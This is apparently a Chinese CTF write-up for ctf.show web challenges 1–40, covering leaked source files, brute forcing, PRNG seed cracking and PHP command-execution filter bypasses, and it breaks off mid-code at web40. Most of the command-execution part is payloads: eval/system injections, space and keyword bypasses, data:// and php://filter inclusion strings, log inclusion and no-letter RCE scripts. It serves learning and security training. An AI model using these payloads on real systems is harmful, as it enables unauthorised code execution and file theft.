文章目录
- ctf.show
-
- 。信息搜集
- web1
- web2
- web3
- web4
- web5
- web6
- web7
- web8
- web9
- web10
- web11
- web12
- web13
- web14
- web15
- web16
- web17
- web18
- web19
- web20
- 。爆破
- 。知识
- [1.1 播种随机数生成器-mt_srand](#1.1 播种随机数生成器-mt_srand)
- 。参考
- web21--重点
- web22--做不出来
- web23
- web24
- web25
- web26
- web27
- web28
- 。。。命令执行
- 。知识
- [1 绕过](#1 绕过)
- 正则表达式要素提取--较完整的脚本
- [1.1 字符绕过](#1.1 字符绕过)
- [1.2 空格过滤](#1.2 空格过滤)
-
- [1 table--%09](#1 table--%09)
- [2 ${IFS}](#2 ${IFS})
- [3 $IFS$9](#3 $IFS$9)
- [4 <](#4 <)
- [5 <>](#5 <>)
- [6 $IFS](#6 $IFS)
- [1.3 命令执行函数](#1.3 命令执行函数)
-
- [1 system](#1 system)
- [2 ``](#2 ``)
- [3 passthru](#3 passthru)
- [4 exec](#4 exec)
- [5 shell_exec](#5 shell_exec)
- [6 popen](#6 popen)
- [1.4 文件读取命令](#1.4 文件读取命令)
-
- [1 cat](#1 cat)
- [2 tac](#2 tac)
- [3 nl](#3 nl)
- [4 more](#4 more)
- [5 less](#5 less)
- [6 head](#6 head)
- [7 tail](#7 tail)
- [8 vi](#8 vi)
- [9 uniq](#9 uniq)
- [10 strings](#10 strings)
- [1.5 php自带函数--无参rce差不多](#1.5 php自带函数--无参rce差不多)
- [1.6 无参RCE](#1.6 无参RCE)
- [1.7 输出定向截断](#1.7 输出定向截断)
-
- [1 ;](#1 ;)
- [2 %0a(换行符,得为URL编码)](#2 %0a(换行符,得为URL编码))
- [3 %26(&,得为URL编码)](#3 %26(&,得为URL编码))
- [4 ||](#4 ||)
- [1.8 无数字字母rce](#1.8 无数字字母rce)
- [1.9 其他读取文件思路](#1.9 其他读取文件思路)
- [1.10 无字母rce](#1.10 无字母rce)
- [1.11 构造数字](#1.11 构造数字)
- [1.12 绕过disable function](#1.12 绕过disable function)
-
- [(1) 查看目录](#(1) 查看目录)
- [(2) 高亮显示](#(2) 高亮显示)
- [(3) 单一函数读文件内容](#(3) 单一函数读文件内容)
- [(4) 通过复制,重命名读取php文件](#(4) 通过复制,重命名读取php文件)
- [(5) fopen](#(5) fopen)
- [(6) 文件包含](#(6) 文件包含)
- 。参考链接
- web29
- web30
- web31
- web32
- web33
- web34
- web35
- web36
- web37
- web38
- web39
- web40
- web41--难死我了
- web42
- web43
- web44
- web45
- web46
- web47
- web48
- web49
- web50
- web51
- web52
- web53
- web54
- web55
- web56
- web57
- web58
- web59
- web60
- web61
- web62
- web63
- web64
- web65
- web66
- web67
- web68
- web69
- web70
- web71
- web72
- web73
ctf.show
。信息搜集
web1
开发注释未及时删除
考点:源码的查看
查看源码:
web2
js前台拦截 === 无效操作
考点:查看源代码
web3
考点:查看返回包
没思路的时候抓个包看看,可能会有意外收获
web4
考点:robots.txt
总有人把后台地址写入robots,帮黑阔大佬们引路。
查看robots.txt
访问/flagishere.txt
web5
考点:index.phps
phps源码泄露有时候能帮上忙
访问index.phps
,下载文件,
查看文件
web6
考点:www.zip
解压源码到当前目录,测试正常,收工
访问www.zip
,下载文件
查看文件
访问fl000g.txt
web7
考点:/.git/
版本控制很重要,但不要部署到生产环境更重要。
访问/.git/
web8
考点:/.svn/
版本控制很重要,但不要部署到生产环境更重要。
访问/.svn/
web9
考点:vim源码泄露
发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
下载文件
读文件
web10
考点:Cookie
cookie 只是一块饼干,不能存放任何隐私数据
查看Cookie
URL解码
web11
考点:域名解析 壹
域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信息
参考:
https://blog.csdn.net/weixin_58546222/article/details/128179469
web12
考点:公开信息作为秘密
有时候网站上的公开信息,就是管理员常用密码
访问robots.txt
,
访问/admin/
,是一个登录页面
根据题目提醒,在网站中寻找
账号:admin 密码:372619038
web13
考点:默认密码文件
技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
查看源代码后发现可疑的pdf
访问网站输入账号密码
默认用户名:admin 默认密码:admin1103
web14
考点:/editor
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
访问/editor
可以读取文件
访问目录var>www>html>nothinghere>fl000g.txt
web15
考点:/admin 查QQ
公开的信息比如邮箱,可能造成信息泄露,产生严重后果
登录后台:
php
http://cc4d00f1-644d-4266-9ea4-4b603f7c86c9.challenge.ctf.show/admin/
点击忘记密码,发现要填写密保
查qq看一下有没有信息
查到地址
密码重置
登录
web16
考点:tz.php
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
访问tz.php
就会出现服务器的实时状态
可以点击PHP信息
搜索到flag
web17
考点:backup.sql
备份的sql文件会泄露敏感信息
backup.sql
下载一个文件
查找ctfshow{
web18
考点:其实应该是前端js题目[window.confirm()
]
不要着急,休息,休息一会儿,玩101分给你flag
判断出游戏是前端游戏
在js文件搜索window.confirm
直接执行
php
window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b");
弹窗提示我们访问110.php
web19
考点:前端泄露源码
密钥什么的,就不要放在前端了
在前端找到源码
php
error_reporting(0);
$flag="fakeflag"
$u = $_POST['username'];
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
}
}
直接输进去是错的,抓个包看一下
发现传进去密码就改了,在bp里再修改一下password
web20
考点:/db/db.mdb
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
访问/db/db.mdb
下载文件
读文件,搜索ctfshow
。爆破
。知识
1.1 播种随机数生成器-mt_srand
mt_srand(seed);
mt_srand函数只要规定了种子,其得到的伪随机数就是确定的
提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。
。参考
web21--重点
考点:
Basic access authentication
爆破
爆破什么的,都是基操
抓包
base64
解密后发现账号密码的形式为 账号:密码
根据提示我们使用题目所给字典爆破
此题主要考察Basic access authentication爆破
1:假设已知用户名是admin
2:打开代理和Burp Suite,随便输入密码尝试登陆同时利用Burp Suite抓包。
3:已知:Authorization请求头用于验证是否有从服务器访问所需数据的权限。得到Authorization: Basic YWRtaW46YWRtaW4= 可以看到他数据包是通过加密发送的,并且前面有Basic 进行base64解码查看格为admin:密码
4:查看Authorization请求头观察发现是base64编码 我们将请求包发送到intruder中,选择sniper模式。选择base64内容Authorization: Basic YWRtaW46YWRtaW4=,添加为playload position
5:然后payload选择Custom iterator
,根据已知格式,我们设置第一组payload位账号:admin,第二组一个冒号:,第三组密码:密码字典
。 接下来设置Payload Processing的base64加密
,点击add,选择encode>Base64-encode,最后将PayLoad Encoding取消选择urlencode加密特殊字符串
。
- (1)
- (2)
- (3)
6:进行爆破,找到长度不同的即为正确答案。为base64加密后的用户名、密码,进行解密
7:登录,找到flag。
web22--做不出来
考点:
域名爆破
域名也可以爆破的,试试爆破这个ctf.show的子域名
解题思路:
该题失效,爆破不出来
参考:
https://blog.csdn.net/qq_52841086/article/details/130608019
web23
考点:
python脚本满足条件
还爆破?这么多代码,告辞!
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
代码要求get传入的token经过md5加密后,第1位=第14位=第17位并且(第1位+第14位+第17位)/第1位=第31位
,可以写一个python脚本跑一下,应该有很多种可能。
python
import hashlib
from itertools import product
charset = '0123456789abcdefghijklmnopqrstuvwxyz'
for i, j in product(charset, repeat=2):
combination = (i + j).encode('utf-8')
md5_hash = hashlib.md5(combination).hexdigest()
# Check conditions
first_char = int(md5_hash[1], 16)
second_char = int(md5_hash[14], 16)
third_char = int(md5_hash[17], 16)
last_char = int(md5_hash[31], 16)
if first_char == second_char == third_char and (first_char + second_char + third_char) / first_char == last_char:
print(combination.decode('utf-8'))
#结果:3j
输出结果3j
和ZE
web24
考点:mt_srand播种随机数生成器
爆个🔨
php
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
解题思路:
mt_srand() 函数播种 Mersenne Twister 随机数生成器。
审计代码,当mt_srand(372619038)函数生成的随机数等于参数r时,得到flag
那么使用php代码运行查看mt_srand(372619038)运行结果
php
<?php
highlight_file(__FILE__);
mt_srand(372619038);
echo(mt_rand());
?>
华为云中才运行出来:1155388967
payload:
php
/?r=1155388967
web25
考点:
知道了第一个随机数返回查找种子
考点:
一个种子,在同一个脚本中,生成的不同次序的随机数大小不同
爆个🔨,不爆了
php
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
- r=1的时候rand=-1833303828
mt_rand()=r-rand=1833303829 - 然后kali运行脚本
./php_mt_seed 1833303829
php
脚本使用方法为:
kali下,进入目录,`make`
`./php_mt_seed` 第一个随机数
题目环境是7.3.11
我用的是第一个php7.1.0+版本的种子然后
执行下面的代码也得在php7上下的环境执行,得出来的结果才能符合条件
php
<?php
mt_srand(691241187);
echo mt_rand()."\n";
echo mt_rand()+mt_rand();
?>
返回1364458235 2375999758
web26
这个可以爆
我做着这道题感觉挺奇怪的,抓包,然后发包就可以得到flag了
web27
考点:
爆破身份证号中的日期
--年月日
CTFshow菜鸡学院招生啦!
有录取名单,有学生信息查询,有账号密码,盲猜用录取名单里的信息查询学生信息,然后登录获得flag
打开名单
然后我们打开查询界面,准备爆破第一位小同志
爆破成功
把最后一串数据放到控制台解码
输入账号密码,得flag
我一直登录失败
web28
大海捞针
考点:
bp暴力破解网站目录
疑点:
最后的/
有时加与不加影响不同吧!
需要结合题目所给提示和url,先将文件2.txt去掉,直接爆破一级目录和二级目录
状态码为200的目录存在flag
。。。命令执行
。知识
1 绕过
正则表达式要素提取--较完整的脚本
python
import re
# 输入的字符串
input_string = "flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\("
# 使用正则表达式匹配并拆分字符串
pattern = re.compile(r'\|')
result_list = re.split(pattern, input_string)
# 创建一个字典,将带有\的字符串中的\删除
result_dict = {item: item.replace('\\', '') for item in result_list}
# 遍历字典并打印结果,设置不换行
for key, value in result_dict.items():
if value == ' ':
print('空格', end=' ')
else:
print(value, end=' ')
#flag system php cat sort shell . 空格 ' ` echo ; (
1.1 字符绕过
1 只过滤了flag字符串
1.通配符绕过
php
`*`
星号(*)可以使用星号代替0个或多个字符.
?c=system('cat f*');
`?`
问号(?)可以使用问号代替一个字符.
?c=system('cat fla?????');
2 重造变量
php
$_GET $_POST
?c=system($_GET['a']);&a=cat flag.php;
?c=eval($_GET[1]);&1=system('nl flag.php');
include
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
3.一对单引号
php
''
?c=echo `cat fl''ag.php`; //反引号功能是执行系统命令
4.一对双引号
php
""
?c=echo `cat fl''ag.php`; //反引号功能是执行系统命令
5 转义字符绕过
php
\
?c=echo `nl fl\ag.php`;
6 中括号绕过--自己瞎取的名字
php
[aaa]*
咱不懂[]中的字母应该有多少个,多少种,经测试多一点没有事,少了不行
?c=echo(`nl%09fl[abcdefg]*`);
7 十六进制--\x-
php
\x
""必须加上,不能是''
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
?c="\x73\x79\x73\x74\x65\x6d"("nl%09\x66\x6c\x61\x67\x2e\x70\x68\x70");
等价于system(), flag.php
2 过滤了;
1 重造变量--?>
php
include ?>
小知识:include不用括号,分号可以用?>代替。
`data伪协议`若要进行`base64加密`,则`?>前`的PHP语句得加上`";"`, 否则报错
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
1.2 空格过滤
%09 < <> ${IFS}
$IFS$9 {cat,fl*}
$IFS
1 table--%09
php
%09--table
?c=echo`tac%09fl*`;
2 ${IFS}
php
${IFS}
?c=less${IFS}fl*g.php||
3 $IFS$9
php
$IFS$9
?c=less$IFS$9fl*g.php||
4 <
php
`<`
?c=nl<fla''g.php||
5 <>
php
`<>`
?c=nl<>fla''g.php||
6 $IFS
php
$IFS
?c=echo`nl$IFS*`%0A
1.3 命令执行函数
1 system
php
system
?c=system('cat f*')
2 ``
php
``
?c=echo `cat fl''ag.php`;
3 passthru
php
passthru
?c=passthru("tac%09f*");
4 exec
php
exec
返回
命令执行结果的最后一行内容
?c=echo%20exec('cat%20f*');
5 shell_exec
php
shell_exec
返回
命令执行的输出
?c=echo shell_exec('cat%20f*');
6 popen
php
`popen fread`
popen()函数可以执行系统命令, 但不会输出执行的结果, 而是返回一个资源类型的变量用来存储系统命令的执行结果, 需要配合fread()函数来读取命令的执行结果
$result = popen( 'ls' , 'r' );
参数1:字符串类型,需要执行的命令
参数2:字符串类型,模式
返回值:资源类型,命令执行的结果
echo fread( $result , 100 );
参数1:资源类型,需要读取的文件指针
参数2:int类型,读取n个字节
返回值:字符串类型,读取的文件内容
?c=echo fread(popen('ls','r'),100);
1.4 文件读取命令
php
more less tac cat tail
nl od vi vim sort
uniq strings
1 cat
php
cat
?c=echo `cat fl''ag.p''hp`';
2 tac
php
tac
从最后一行开始显示,可以看出 tac 是 cat 的反向显示
?c=passthru("tac%09f*");
3 nl
php
nl
显示的时候,顺便输出行号
?c=passthru("nl%09`ls`");
4 more
php
more
一页一页的显示档案内容
?c=echo`more%09f*`;
5 less
php
less
一页一页的显示档案内容
?c=echo`less%09f*`;
6 head
php
`head`
查看头几行
?c=echo`head%09f*`;
7 tail
php
`tail`
查看尾几行
?c=echo`tail%09f*`;
8 vi
php
vi
?c=echo`vi%09f*`;
9 uniq
php
uniq
echo`uniq%09f*`;
10 strings
php
strings
?c=echo`strings%09f*`;
1.5 php自带函数--无参rce差不多
1
php
show_source(next(array_reverse(scandir(pos(localeconv())))));
2
php
还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
1.6 无参RCE
1.7 输出定向截断
php
>/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
所以需要把后面截断`; %0a(换行符)`,后面不用多说了吧,还可以用`%26(&)以及||`
1 ;
php
`;`
?c=cat flag.php;
2 %0a(换行符,得为URL编码)
php
`%0a`
?c=cat flag.php%0a
3 %26(&,得为URL编码)
php
`%26`
?c=cat flag.php%26
4 ||
php
`||`
?c=cat flag.php||
1.8 无数字字母rce
1.9 其他读取文件思路
(1)mv
php
#使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag
#移动后原来文件就空了
?c=mv${IFS}fla?.php${IFS}a.txt
(2)使用执行文件目录
php
#执行文件目录+?来绕过被过滤的命令
?c=/bin/?at${IFS}f???????
1.10 无字母rce
(1)利用bin目录
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
使用base64对flag.php进行加密同时使用?绕过字母的限制
php
?c=/???/????64%20????.??? # /bin/base64 flag.php
(2)利用/usr/bin目录
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载,下载后记得解压再看
php
先?c=/???/???/????2 ????.??? # /urs/bin/bzip2 flag.php
然后在url + /flag.php.bz2 下载文件
#解压后查看
(3)上传临时文件
system
burpsuit
看链接
脚本
python
#多尝试几次:最后一位可能不是大写字母
#注意:创造循环失败了
import requests
url="http://9e663758-139f-4313-bee5-18323f84f4a9.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)
正常传参
脚本:
python
#多尝试几次:最后一位可能不是大写字母
#注意:创造循环失败了
import requests
url="http://xxx/test.php?c=?><?=`. /???/????????[@-[]`;?>"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)
1.11 构造数字
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。
表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
$(())是0
$((~$(())))是-1
$(($((~$(())))$((~$(())))))是-2
这里要构造36,也就是要先构造出-37 然后取反
-37是37个$((~$(())))相加
最终payload
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
1.12 绕过disable function
(1) 查看目录
php
查看目录
# 1
c=var_dump(scandir("/"));
# 2
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
# 3
c=$a=scandir("/");foreach($a as $value){echo $value."---";}
# 4 glob() 函数返回匹配指定模式的文件名或目录。返回的是数组
c=$a=glob("/*");foreach($a as $value){echo $value." ";}
# 5
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
(2) 高亮显示
php
高亮显示php文件
函数
show_source()
highlight_file()
用法:
show_source("flag.php");
highlight_file("flag.php");
(3) 单一函数读文件内容
php
单一函数读文件内容:
函数:
file_get_contents()
readfile()
file()
用法:
echo file_get_contents("flag.php"); //过58
readfile("flag.php"); //过58
print_r(file("flag.php")); //过59
(4) 通过复制,重命名读取php文件
php
通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
函数:
copy()
rename()
用法:
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60
(5) fopen
php
通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a); //过59
$a=fopen("flag.php","r");echo fread($a,"1000"); //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);pri#nt_r($line);} //过60
(6) 文件包含
php
包含文件
函数:
include()
require()
php伪协议
include('php://filter/convert.base64-encode/resource=flag.php');
require('php://filter/convert.base64-encode/resource=flag.php');
后面是txt文件,直接用include直接包含就能显示flag
用法:
include("/flag.txt"); //过66-70
require("/flag.txt"); //过66-70
。参考链接
ctfshow web入门58-77绕过disable function
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
web29
考点:
字符过滤
php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
php
payload:
?c=system(%27ls%27);
查看源码发现只过滤了flag字符串,(通配符绕过)
php
?c=system('cat f*');
也可以使用重造变量的方法来读取flag
php
?c=system($_GET['a']);&a=cat flag.php;
使用双引号过滤
php
?c=echo `cat fl''ag.php`; //反引号功能是执行系统命令
php
通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl""ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||
还有很多姿势,毕竟等于没过滤
web30
考点:
字符过滤
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
使用引号绕过
php
paylaod:
?c=echo `ls`;
?c=echo `cat fl''ag.p''hp`';
web31
考点:
过滤字符,.,',空格
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php,cat,sort,shell,.,空格,'
php
payload:
?c=echo%09`ls`;
重造变量
php
?c=eval($_GET[1]);&1=echo `tac flag.php`;
passthru
php
payload
?c=passthru("nl%09`ls`");
php
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`; 必须加转义字符
还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
web32
考点:
过滤
flag system php cat sort shell . 空格 ' ` echo ; (
疑点:
data伪协议
若要进行base64加密
,则?>前
的PHP语句得加上";"
, 否则报错
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤
php
flag system php cat sort shell . 空格 ' ` echo ; (
小知识:include不用括号,分号可以用?>代替。
php
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web33
考点:
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤了一个双引号
继续用上一题的伪协议思路即可
web34
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤了冒号
继续用32题的伪协议思路即可
web35
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤了< =
继续使用32题的
web36
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
新增了0-9数字的限制
传参的内容改为字母即可
php
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web37
考点:
文件包含--伪协议/ 日志文件
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
php
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//编码是<?php system('cat flag.php');?>
//或者
?c=data://text/plain,<?php system('cat fla*');?>
通过包含日志文件拿shell--不太明白
?c=/var/log/nginx/access.log
web38
考点:
又过滤了php和file
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
又过滤了php和file
php
?c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
也可以日志包含
?c=/var/log/nginx/access.log
web39
考点:
自动加上.php
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
自动为我们增加了后缀php,但依旧可以data协议
data://text/plain,
这样就相当于执行了php语句,因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
php
?c=data://text/plain,<?= system("cat fla*");?>
web40
考点:
无参rce
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
